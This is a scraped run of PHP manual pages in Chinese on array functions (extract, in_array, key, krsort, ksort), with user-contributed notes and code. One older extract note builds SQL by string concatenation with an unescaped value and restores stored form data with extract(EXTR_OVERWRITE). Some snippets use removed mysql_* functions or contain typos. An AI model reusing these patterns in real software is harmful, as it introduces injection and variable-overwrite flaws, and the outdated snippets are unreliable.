This might be an actual Zend2 Engine bug, but it's bad programming practice, so I'm sharing it here instead.

I often work in envrionments where E_STRICT (which would prevent errors like this) isn't on, and I don't have access to change it. I also use a very simple template class that in a nutshell works like this:

$t = new Template('somefile.php');
$t->title = $title;
$t->body = $body;
$t->display();

display() more or less looks like this:

function display(){
    extract(get_object_vars($this),EXTR_REFS);
    ob_start(); include $this->templateFileName;
    return ob_get_clean();
}

If any of the assigned values are null (let's say that in this case $title wasn't initialized above) it causes the engine to do all sorts of incredibly whacky stuff like certifiably lose track of variables in an incredibly inconsistent way. I traced the problem down to the fact that it's using the EXTR_REFS flag. I assume that in PHP's internal variable storage or reference counting mechanism, that trying to extract null references makes it lose track or count of something or rather.

In a nutshell, if you start getting wierd behavior when using extract() make sure that the array or object you are trying to get variables out of doesn't contain null keys or values!
kake26 at gmail dot com 30-Apr-2005 08:59
The following is a neat use for extract to store and manipulate large amounts of form data from. I basically loop through the $_POST and implode it seperating the key and value pairs by a space. Then store it in a db, the reversing function basically explodes the string to a array. Then converts the indexed array to a associative array then uses extract to seal the deal and make it easily available within a program. My main reason for sharing these are the fact I make some big web applications that store allot of forum data in a DB and these functions make it very easy to quickly and easily store and recall the data. I've contributed it because I spent many hours creating this code and recall going "I wish someone had previously submitted it to the page notes". Would have saved me allot of time and agony and I'm sure I'm not the only person that could really benefit from it, so I decided to share.

<?php
$stack = array();
foreach ($_POST as $key => $value) {
array_push($stack, $key, $value);
}
// store it
$block = implode(" ",$stack); // yeilds a space delimited string
// insert query to store string in DB here, like the one below
$query = "INSERT INTO `sometable` VALUES('".$seluser."','".addslashes($block)."');";
$result = mysql_query($query) or die("Query failed for block insert: " . mysql_error());
// note $seluser in my case is a user ID associated with that block
// in one of my web apps
?>

The nice thing is with the above we can quickly create a string of key and value pairs from the data the script got. Without really caring what their names are. You know how if register globals are on you say $someformvar rather than $_POST["someformvar"]; , basically the code below reads this previous created block returns it to that state. Sort of like presistant register globals.

<?php
// insert query to grab the previously stored string here
$query = "SELECT * FROM `sometable` WHERE `blockid` = '".addslashes($bid)."';";
$result = mysql_query($query) or die("Query failed read: " . mysql_error());
$sql = mysql_fetch_array($result, MYSQL_ASSOC);
$array = eplode(" ",$sql["data"]);
for ($i = 0; $i < sizeof($array); $i+=2) {
$myassoc[$array[$i]] = isset($array[$i+1])?$array[$i+1]:NULL;
}
extract($myassoc, EXTR_OVERWRITE);
// now you're key and value pairs from $_POST have been restored
// instead of $_POST
?>
pg dot perfection at gmail dot com 14-Mar-2005 02:33
Here is a little example of how an extraction method should look like when it needs to work recursive (work on nested_arrays too)...

Note that this is only an example, it can be done more easily, and more advanced too.

<?php
/**
 * A nested version of the extract () function.
 *
 * @param    array    $array        The array which to extract the variables from
 * @param    int        $type        The type to use to overwrite (follows the same as extract () on PHP 5.0.3
 * @param    string    $prefix        The prefix to be used for a variable when necessary
 */
function extract_nested (&$array, $type = EXTR_OVERWRITE, $prefix = '')
{
    /**
     *  Is the array really an array?
     */
    if (!is_array ($array))
    {
        return trigger_error ('extract_nested (): First argument should be an array', E_USER_WARNING);
    }

    /**
     *  If the prefix is set, check if the prefix matches an acceptable regex pattern
     * (the one used for variables)
     */
    if (!empty ($prefix) && !preg_match ('#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $prefix))
    {
        return trigger_error ('extract_nested (): Third argument should start with a letter or an underscore', E_USER_WARNING);
    }

    /**
     * Check if a prefix is necessary. If so and it is empty return an error.
     */
    if (($type == EXTR_PREFIX_SAME || $type == EXTR_PREFIX_ALL || $type == EXTR_PREFIX_IF_EXISTS) && empty ($prefix))
    {
        return trigger_error ('extract_nested (): Prefix expected to be specified', E_USER_WARNING);
    }

    /**
     * Make sure the prefix is oke
     */
    $prefix = $prefix . '_';

    /**
     *  Loop thru the array
     */
    foreach ($array as $key => $val)
    {
        /**
         *  If the key isn't an array extract it as we need to do
         */
        if (!is_array ($array[$key]))
        {
            switch ($type)
            {
                default:
                case EXTR_OVERWRITE:
                    $GLOBALS[$key] = $val;
                break;
                case EXTR_SKIP:
                    $GLOBALS[$key] = isset ($GLOBALS[$key]) ? $GLOBALS[$key] : $val;
                break;
                case EXTR_PREFIX_SAME:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_ALL:
                    $GLOBALS[$prefix . $key] = $val;
                break;
                case EXTR_PREFIX_INVALID:
                    if (!preg_match ('#^[a-zA-Z_\x7f-\xff]$#', $key{0}))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                break;
                case EXTR_REFS:
                    $GLOBALS[$key] =& $array[$key];
                break;
            }
        }
        /**
         *  The key is an array... use the function on that index
         */
        else
        {
            extract_nested ($array[$key], $type, $prefix);
        }
    }
}
?>
Michael Newton 02-Mar-2005 05:23
They say "If the result is not a valid variable name, it is not imported into the symbol table."

What they should say is that if _any_ of the results have invalid names, _none_ of the variables get extracted.

Under 4.3.10 on Windows 2000, I was pulling some mySQL records, but needed to convert two fields into IP addresses:
<?
extract(mysql_fetch_assoc(mysql_query('SELECT * FROM foo')));
extract(mysql_fetch_assoc(mysql_query('SELECT INET_NTOA(bar) AS bar, INET_NTOA(baz) FROM foo')));
?>

I had forgotten the second AS modifier in the SQL query.  Because it couldn't extract a variable called INET_NTOA(baz) into the symbol table, it didn't do either of them.

(BTW I don't normally stack functions up like that!  Just to make a short example!)
21-Feb-2005 07:31
To make this perfectly clear (hopefully), an underscore is always added when the string is prefixed.
extract(array("color" => "blue"),EXTR_PREFIX_ALL,'');// note: prefix is empty
is the same as
$color='_blue';
Aaron Stone 17-Nov-2004 10:44
If you are working porting an older application, and taking the advice above, extracting only _SERVER, _SESSING, _COOKIE, _POST, _GET, you have forgotten to extract _FILES. Putting _FILES last and using EXTR_SKIP doesn't work because the name of the file upload box is already set as a variable containing only the temporary name of the uploaded file from one of the earlier extracts (I haven't tested to see which one specifically, however). A workaround is to put _FILES last and use EXTR_OVERWRITE. This allows extract to replace that temp-name-only variable with the full array of file upload information.
Adam Monsen <adamm at wazamatta dot com> 02-Oct-2004 05:03
As shown in the example, if your 'prefix' is used, a single underscore is added to the name of the extracted variable. Meaning, a prefix of 'p' becomes a prefix of 'p_', so 'blarg' prefixed would be 'p_blarg'.

If you're not sure what variables you've created through extraction, you can call get_defined_vars() to see all defined variables in the current scope.


检查数组中是否存在某个值

  • ? extract
  • key_exists ?
  • PHP Manual
  • 数组 函数
  • 检查数组中是否存在某个值

in_array

(PHP 4, PHP 5, PHP 7, PHP 8)

in_array — 检查数组中是否存在某个值

说明

in_array(mixed $needle, array $haystack, bool $strict = false): bool

大海捞针，在大海（haystack）中搜索针（ needle），如果没有设置 strict 则使用宽松的比较。

参数

needle

待搜索的值。

Note:

如果 needle 是字符串，则比较是区分大小写的。

haystack

待搜索的数组。

strict

如果第三个参数 strict 的值为 true 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。

Note:

在 PHP 8.0.0 之前，string needle 在非严格模式下将会匹配数组中的值 0，反之亦然。这可能会导致不希望的结果。其它类型也存在类似的边缘情况。如果不是绝对确定有关值的类型，请始终使用 strict flag 以避免意外行为。

返回值

如果找到 needle 则返回 true，否则返回 false。

示例

Example #1 in_array() 例子

<?php
$os = array("Mac", "NT", "Irix", "Linux");
if (in_array("Irix", $os)) {
echo "Got Irix";
}
if (in_array("mac", $os)) {
echo "Got mac";
}
?>

第二个条件失败，因为 in_array() 是区分大小写的，所以以上程序显示为：

Got Irix

Example #2 in_array() 严格类型检查例子

<?php
$a = array('1.10', 12.4, 1.13);

if (in_array('12.4', $a, true)) {
echo "'12.4' found with strict check\n";
}

if (in_array(1.13, $a, true)) {
echo "1.13 found with strict check\n";
}
?>

以上示例会输出：

1.13 found with strict check

Example #3 in_array() 中用数组作为 needle

<?php
$a = array(array('p', 'h'), array('p', 'r'), 'o');

if (in_array(array('p', 'h'), $a)) {
echo "'ph' was found\n";
}

if (in_array(array('f', 'i'), $a)) {
echo "'fi' was found\n";
}

if (in_array('o', $a)) {
echo "'o' was found\n";
}
?>

以上示例会输出：

  'ph' was found
  'o' was found

参见

  • array_search() - 在数组中搜索给定的值，如果成功则返回首个相应的键名
  • isset() - 检测变量是否已声明并且其值不为 null
  • array_key_exists() - 检查数组里是否有指定的键名或索引

User Contributed Notes

Julian Sawicki 09-Jun-2023 10:04
Here is a recursive in_array function:

<?php

$myNumbers = [
    [1,2,3,4,5],
    [6,7,8,9,10],
];

$array = [
    'numbers' => $myNumbers
];

// Let's try to find number 7 within $array
$hasNumber = in_array(7, $array, true); // bool(false)
$hasNumber = in_array_recursive(7, $array, true); // bool(true)

function in_array_recursive(mixed $needle, array $haystack, bool $strict): bool
{
    foreach ($haystack as $element) {
        if ($element === $needle) {
            return true;
        }

        $isFound = false;
        if (is_array($element)) {
            $isFound = in_array_recursive($needle, $element, $strict);
        }

        if ($isFound === true) {
            return true;
        }
    }

    return false;
}
Armands Rieksti 14-Feb-2023 10:45
I'd like to point out that, if you're using Enum data structures and want to compare whether an array of strings has a certain string Enum in it, you need to cast it to a string.

From what I've tested, the function works correctly:
if the array is filled with strings and you're searching for a string;
if the array is filled with Enums and you're searching for an Enum.
leonhard dot radonic+phpnet at gmail dot com 08-Nov-2022 10:26
I got an unexpected behavior working with in_array. I'm using following code:

<?php
// ...
$someId = getSomeId(); // it gets generated/fetched by another service, so I don't know what value it will have. P.S.: it's an integer

// The actual data in my edge-case scenario:
// $someId = 0;
// $anyArray = ['dataOne', 'dataTwo'];
if (in_array($someId, $anyArray)) {
    // do some work
}
// ...
?>

With PHP7.4, in_array returns boolean true.
With PHP8.1, in_array returns boolean false.

It took me quite some time to find out what's going on.
Anonymous 01-Nov-2022 02:46
$a = new StdClass();
$b = new StdClass();

// Expected: false, got: true
var_dump(in_array($a, [$b]));
// bool(true)

// Works fine
var_dump(in_array($a, [$b], true));
// bool(false)
Anonymous 01-Nov-2022 02:46
$a = new StdClass();
$b = new StdClass();

// Expected: false, got: true
var_dump(in_array($a, [$b]));
// bool(true)

// Works fine
var_dump(in_array($a, [$b], true));
// bool(false)
beingmrkenny at gmail dot com 27-Oct-2011 03:35
Loose checking returns some crazy, counter-intuitive results when used with certain arrays. It is completely correct behaviour, due to PHP's leniency on variable types, but in "real-life" is almost useless.

The solution is to use the strict checking option.

<?php

// Example array

$array = array(
    'egg' => true,
    'cheese' => false,
    'hair' => 765,
    'goblins' => null,
    'ogres' => 'no ogres allowed in this array'
);

// Loose checking -- return values are in comments

// First three make sense, last four do not

in_array(null, $array); // true
in_array(false, $array); // true
in_array(765, $array); // true
in_array(763, $array); // true
in_array('egg', $array); // true
in_array('hhh', $array); // true
in_array(array(), $array); // true

// Strict checking

in_array(null, $array, true); // true
in_array(false, $array, true); // true
in_array(765, $array, true); // true
in_array(763, $array, true); // false
in_array('egg', $array, true); // false
in_array('hhh', $array, true); // false
in_array(array(), $array, true); // false

?>
thomas dot sahlin at gmail dot com 05-Oct-2009 12:53
If you're creating an array yourself and then using in_array to search it, consider setting the keys of the array and using isset instead since it's much faster.

<?php

$slow = array('apple', 'banana', 'orange');

if (in_array('banana', $slow))
    print('Found it!');

$fast = array('apple' => 'apple', 'banana' => 'banana', 'orange' => 'orange');

if (isset($fast['banana']))
    print('Found it!');

?>
rhill at xenu-directory dot net 17-Jan-2009 01:05
I found out that in_array will *not* find an associative array within a haystack of associative arrays in strict mode if the keys were not generated in the *same order*:

<?php

$needle = array(
    'fruit'=>'banana', 'vegetable'=>'carrot'
    );

$haystack = array(
    array('vegetable'=>'carrot', 'fruit'=>'banana'),
    array('fruit'=>'apple', 'vegetable'=>'celery')
    );

echo in_array($needle, $haystack, true) ? 'true' : 'false';
// Output is 'false'

echo in_array($needle, $haystack) ? 'true' : 'false';
// Output is 'true'

?>

I had wrongly assumed the order of the items in an associative array were irrelevant, regardless of whether 'strict' is TRUE or FALSE: The order is irrelevant *only* if not in strict mode.


别名 array_key_exists

  • ? in_array
  • key ?
  • PHP Manual
  • 数组 函数
  • 别名 array_key_exists

key_exists

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

key_exists — 别名 array_key_exists()

说明

此函数是该函数的别名： array_key_exists().

User Contributed Notes

There are no user contributed notes for this page.


从关联数组中取得键名

  • ? key_exists
  • krsort ?
  • PHP Manual
  • 数组 函数
  • 从关联数组中取得键名

key

(PHP 4, PHP 5, PHP 7, PHP 8)

key — 从关联数组中取得键名

说明

key(array|object $array): int|string|null

key() 返回数组中当前单元的键名。

参数

array

该数组。

返回值

key() 函数返回数组中内部指针指向的当前单元的键名。 但它不会移动指针。如果内部指针超过了元素列表尾部，或者数组是空的，key() 会返回 null。

更新日志

版本 | 说明
8.1.0 | 弃用在 object 上调用此函数。 要么首先使用 get_mangled_object_vars() 将 object 转换为 array，要么使用实现 Iterator 的类提供的方法，例如 ArrayIterator。
7.4.0 | SPL 类的实例现在被视为没有属性的空对象，而不是调用与此函数同名的 Iterator 方法。

示例

Example #1 key() 例子

<?php
$array = array(
'fruit1' => 'apple',
'fruit2' => 'orange',
'fruit3' => 'grape',
'fruit4' => 'apple',
'fruit5' => 'apple');

// 此循环将会输出数组中所有值等于 "apple" 的键（key）
while ($fruit_name = current($array)) {
if ($fruit_name == 'apple') {
echo key($array), "\n";
}
next($array);
}
?>

以上示例会输出：

fruit1
fruit4
fruit5

参见

  • current() - 返回数组中的当前值
  • next() - 将数组中的内部指针向前移动一位
  • array_key_first() - 获取指定数组的第一个键
  • foreach

User Contributed Notes

Md Tahazzot 13-Dec-2019 06:02
(Editor note: Or just use the array_keys function)

Make as simple as possible but not simpler like this one :)

$k = array();
for($i = 0; $i < count($arr); $i++){
    $k[$i] = key($arr);
    next($arr);
}
danielmadsv at gmail dot com 24-Mar-2019 01:07
In addition to FatBat's response, if you'd like to find out the highest key in an array (assoc or not) but don't want to arsort() it, take a look at this:

<?php

$arr = [ '3' => 14, '1' => 15, '4' => 92, '15' => 65 ];

$key_of_max = array_search( max($arr) , $arr);

?>
lhardie 23-Apr-2014 04:05
Note that using key($array) in a foreach loop may have unexpected results.

When requiring the key inside a foreach loop, you should use:
foreach($array as $key => $value)

I was incorrectly using:
<?php
foreach($array as $value)
{
  $mykey = key($array);
}
?>

and experiencing errors (the pointer of the array is already moved to the next item, so instead of getting the key for $value, you will get the key to the next value in the array)

CORRECT:
<?php
foreach($array as $key => $value)
{
  $mykey = $key;
}

A noob error, but felt it might help someone else out there.
vinob44 at gmail dot com 23-Oct-2013 11:43
Suppose if the array values are in numbers and numbers contains `0` then the loop will be terminated. To overcome this you can user like this

<?php
$array = array(
    '0' => '5',
    '1' => '2',
    '2' => '0',
    '3' => '3',
    '4' => '1');

// wrong approach

while ($fruit_name = current($array)) {

        echo key($array).'<br />';
       next($array);
}

// the way will be break loop when arra('2'=>0) because its value is '0', while(0) will terminate the loop

// correct approach
while ( ($fruit_name = current($array)) !== FALSE ) {

        echo key($array).'<br />';
       next($array);
}
//this will work properly
?>
FatBat 17-Oct-2011 12:20
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>


对数组按照键名逆向排序

  • ? key
  • ksort ?
  • PHP Manual
  • 数组 函数
  • 对数组按照键名逆向排序

krsort

(PHP 4, PHP 5, PHP 7, PHP 8)

krsort — 对数组按照键名逆向排序

说明

krsort(array &$array, int $flags = SORT_REGULAR): true

对 array 本身按照键（key）降序排序。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 krsort() 示例

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
krsort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

以上示例会输出：

d = lemon
c = apple
b = banana
a = orange

参见

  • sort() - 对数组升序排序
  • ksort() - 对数组根据键名升序排序
  • 数组排序函数对比

User Contributed Notes

07-Aug-2005 06:37
To create a natural reverse sorting by keys, use the following function:

<?php
function natkrsort($array)
{
    $keys = array_keys($array);
    natsort($keys);

    foreach ($keys as $k)
    {
        $new_array[$k] = $array[$k];
    }

    $new_array = array_reverse($new_array, true);

    return $new_array;
}
?>
peter at pmkmedia dot com 07-Nov-2003 01:51
Best deal sorting:

This is a function that will sort an array with integer keys (weight) and float values (cost) and delete 'bad deals' - entries that are more costly than other entries that have greater or equal weight.

Input: an array of unsorted weight/cost pairs
Output: none

function BEST_DEALS($myarray)
{   // most weight for least cost:
    // ? Peter Kionga-Kamau, http://www.pmkmedia.com
    // thanks to Nafeh for the reversal trick
    // free for unrestricted use.
    krsort($myarray, SORT_NUMERIC);
    while(list($weight, $cost) = each($myarray))
    {   // delete bad deals, retain best deals:
        if(!$lastweight)
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
        else if($cost >= $lastcost) unset($myarray[$weight]);
        else
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
    }
    ksort($myarray);
}


对数组根据键名升序排序

  • ? krsort
  • list ?
  • PHP Manual
  • 数组 函数
  • 对数组根据键名升序排序

ksort

(PHP 4, PHP 5, PHP 7, PHP 8)

ksort — 对数组根据键名升序排序

说明

ksort(array &$array, int $flags = SORT_REGULAR): true

对 array 本身进行按键（key）升序排序。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 ksort() 示例

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
ksort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

以上示例会输出：

a = orange
b = banana
c = apple
d = lemon

Example #2 对使用 int 键的数组进行 ksort()

<?php
$a = [0 => 'First', 2 => 'Last', 1 => 'Middle'];
var_dump($a);
ksort($a);
var_dump($a);
?>

以上示例会输出：

array(3) {
  [0]=>
  string(5) "First"
  [2]=>
  string(4) "Last"
  [1]=>
  string(6) "Middle"
}
array(3) {
  [0]=>
  string(5) "First"
  [1]=>
  string(6) "Middle"
  [2]=>
  string(4) "Last"
}

参见

  • sort() - 对数组升序排序
  • krsort() - 对数组按照键名逆向排序
  • 数组排序函数对比

User Contributed Notes

orlov0562 at gmail dot com 07-Jul-2017 01:13
The first thing that I didn't find in description it's that this function return results from MIN value to MAX value, ex: [-5=>'', 0=>'', 5=>'' ]

Also you should know that by default, it has correct sorting for keys that represented as string but has a number as value, ex: ['-5'=>'', '0'=>'', '5'=>'' ]

Few examples with results:

-----------------------------------------

DESCRIPTION: Keys are numbers + default flag (SORT_REGULAR)

$arr = [
    -5 => 'minus five',
    0 => 'zero',
    1 => 'one',
    2 => 'two',
    100 => 'hundred',
];

ksort($arr);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [2] => two
    [100] => hundred
)

-----------------------------------------
DESCRIPTION: Keys are string numbers + default flag (SORT_REGULAR)

$arr = [
    '-5' => 'minus five',
    '0' => 'zero',
    '1' => 'one',
    '2' => 'two',
    '100' => 'hundred',
];

ksort($arr);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [2] => two
    [100] => hundred
)

-----------------------------------------
DESCRIPTION: Keys are string numbers + SORT_STRING flag

$arr = [
    '-5' => 'minus five',
    '0' => 'zero',
    '1' => 'one',
    '2' => 'two',
    '100' => 'hundred',
];

ksort($arr, SORT_STRING);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [100] => hundred
    [2] => two
)

-----------------------------------------

DESCRIPTION: Keys are string numbers + SORT_NUMERIC flag

$arr = [
    '-5' => 'minus five',
    '0' => 'zero',
    '1' => 'one',
    '2' => 'two',
    '100' => 'hundred',
];

ksort($arr, SORT_NUMERIC);
print_r($arr);

RESULT:

Array
(
    [-5] => minus five
    [0] => zero
    [1] => one
    [2] => two
    [100] => hundred
)
bimal at sanjaal dot com 26-May-2014 07:33
An example of reverse sorting a domain name by its name.

<?php
$domains = array(
    'sub.domain.com',
    'sub2.domain.com',
);

foreach($domains as $d => $domain)
{
    $chunks = explode('.', $domain);
    krsort($chunks);

    echo "\r\n<br>", implode('/', $chunks);
}

/**
 * Outputs as:
 *
 * com/domain/sub
 * com/domain/sub2
 */
?>
Anonymous 10-Feb-2014 05:43
@thegrandoverseer

you could also use the build-in php array functions to get exactly what you want to have:

<?php
        $seed_array = array('foo'=>'bar', 'someotherkey'=>'whatev', 'bar'=>'baz', 'baz'=>'foo', 'anotherkey'=>'anotherval');
        $keys_array = array('baz', 'foo', 'bar');

        $return_array = array_intersect_key($seed_array, array_flip($keys_array)) + array_diff_key($seed_array, array_flip($keys_array));

?>
Anonymous 13-Aug-2013 01:11
Note that this function will output the given $fields in the order they were added to the data array and not automatically in numerical key order.

To output in ascending key order, you'll need to ksort the array first (or use appropriate natural order sorting, depending on your keys).

For example:
<?php
$data[2] = 'C';
$data[0] = 'A';
$data[1] = 'B';

fputcsv($fh, $data); // outputs: "C,A,B"

ksort($data);
fputcsv($fh, $data); // outputs: "A,B,C"
?>
centraleffects at yahoo dot com 06-Jun-2013 05:46
I wrote this function to sort meta_value in wordpress. I tried a lot of array sorting but neither of them work. But this is not suitable for multidimensional array. This is intended only for wordpress meta_value

The problem is to sort below( the order should be ascending; alphabetically then numerically like A-Z then 0-9):
500-999 users
25-49 users
 All Sizes
1-4 users
5-9 users
10-24 users
250-499 users
1000-4999
5000-9999

The solution:

function array_sort($arr){
    if(is_array($arr)){
        $numeric = array();
        $string = array();
        foreach($arr as $k => $v)
        {
            if(isset($v["meta_value"])){
                 $str = explode(" ",trim($v["meta_value"]));
                 $firstWord  = explode("-",trim($str[0]));
             }else{
                 $str = $v;
                 $firstWord  = explode("-",trim($str));
             }

            $firstWord = $firstWord[0];

            if(is_numeric($firstWord))
            {
                $numeric[(int)$firstWord] = $v;
            }else{
                $string[$firstWord] = $v;
            }
            unset($firstWord);
        }
        ksort($string,SORT_STRING);
        ksort($numeric,SORT_NUMERIC);

        return array_merge((array)$string, (array)$numeric);
    }

    return false;
}

The usage:
$meta =get_post_meta($post_id,$meta_key);
$sorted = array_sort($meta);

The result:
 All Sizes
1-4 users
5-9 users
10-24 users
25-49 users
250-499 users
500-999 users
1000-4999
5000-9999
stephen [ at ] brooksie-net [ dot ] co [ dot ] uk 17-Apr-2013 05:10
ksort and krsort fail to undestand scientific notation, https://bugs.php.net/bug.php?id=43053, therefore when sorting numeric keys, if the key is of the form 0.00001 php will represent it as 1.0E-5.

These methods will assume this to be a string and therefore not organise your array as you may expect.

When using value of this form for array keys use sprintf('%f', 0.00001) to generate the key, for smaller values the precision needs to be included
e.g. sprintf('%0.10f', 0.00000001)
thegrandoverseer 13-Jul-2012 06:11
I wrote this function to sort the keys of an array using an array of keynames, in order.
<?php
/**
 * function array_reorder_keys
 * reorder the keys of an array in order of specified keynames; all other nodes not in $keynames will come after last $keyname, in normal array order
 * @param array &$array - the array to reorder
 * @param mixed $keynames - a csv or array of keynames, in the order that keys should be reordered
 */
function array_reorder_keys(&$array, $keynames){
    if(empty($array) || !is_array($array) || empty($keynames)) return;
    if(!is_array($keynames)) $keynames = explode(',',$keynames);
    if(!empty($keynames)) $keynames = array_reverse($keynames);
    foreach($keynames as $n){
        if(array_key_exists($n, $array)){
            $newarray = array($n=>$array[$n]); //copy the node before unsetting
            unset($array[$n]); //remove the node
            $array = $newarray + array_filter($array); //combine copy with filtered array
        }
    }
}
$seed_array = array('foo'=>'bar', 'someotherkey'=>'whatev', 'bar'=>'baz', 'baz'=>'foo', 'anotherkey'=>'anotherval');
array_reorder_keys($seed_array, 'baz,foo,bar'); //returns array('baz'=>'foo', 'foo'=>'bar', 'bar'=>'baz', 'someotherkey'=>'whatev', 'anotherkey'=>'anotherval' );
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2011 08:48
Note that ksort will NOT help you much if numeric and string keys are mixed together.
<?php
$t = array(
  "a"=>"A",
  0=>"A",
  "b"=>"A",
  1=>"A"
);
var_dump($t);
ksort($t);
var_dump($t);
?>

produces (on PHP 5.3.6-4 with Suhosin-Patch) :

array(4) {
  ["a"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["b"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

array(4) {
  ["b"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["a"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

note that the second array should be sorted by keys, but is even more messed up than the first one!
DavidG 17-Jun-2010 06:47
A nice way to do sorting of a key on a multi-dimensional array without having to know what keys you have in the array first:

<?php
$people = array(
array("name"=>"Bob","age"=>8,"colour"=>"red"),
array("name"=>"Greg","age"=>12,"colour"=>"blue"),
array("name"=>"Andy","age"=>5,"colour"=>"purple"));

var_dump($people);

$sortArray = array();

foreach($people as $person){
    foreach($person as $key=>$value){
        if(!isset($sortArray[$key])){
            $sortArray[$key] = array();
        }
        $sortArray[$key][] = $value;
    }
}

$orderby = "name"; //change this to whatever key you want from the array

array_multisort($sortArray[$orderby],SORT_DESC,$people);

var_dump($people);
?>

Output from first var_dump:

[0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }
}

Output from 2nd var_dump:

array(3) {
  [0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }

There's no checking on whether your array keys exist, or the array data you are searching on is actually there, but easy enough to add.
serpro at gmail dot com 13-Mar-2009 02:02
Here is a function to sort an array by the key of his sub-array.

<?php

function sksort(&$array, $subkey="id", $sort_ascending=false) {

    if (count($array))
        $temp_array[key($array)] = array_shift($array);

    foreach($array as $key => $val){
        $offset = 0;
        $found = false;
        foreach($temp_array as $tmp_key => $tmp_val)
        {
            if(!$found and strtolower($val[$subkey]) > strtolower($tmp_val[$subkey]))
            {
                $temp_array = array_merge(    (array)array_slice($temp_array,0,$offset),
                                            array($key => $val),
                                            array_slice($temp_array,$offset)
                                          );
                $found = true;
            }
            $offset++;
        }
        if(!$found) $temp_array = array_merge($temp_array, array($key => $val));
    }

    if ($sort_ascending) $array = array_reverse($temp_array);

    else $array = $temp_array;
}

?>

Example
<?php
$info = array("peter" => array("age" => 21,
                                           "gender" => "male"
                                           ),
                   "john"  => array("age" => 19,
                                           "gender" => "male"
                                           ),
                   "mary" => array("age" => 20,
                                           "gender" => "female"
                                          )
                  );

sksort($info, "age");
var_dump($info);

sksort($info, "age", true);
var_dump($ifno);
?>

This will be the output of the example:

/*DESCENDING SORT*/
array(3) {
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
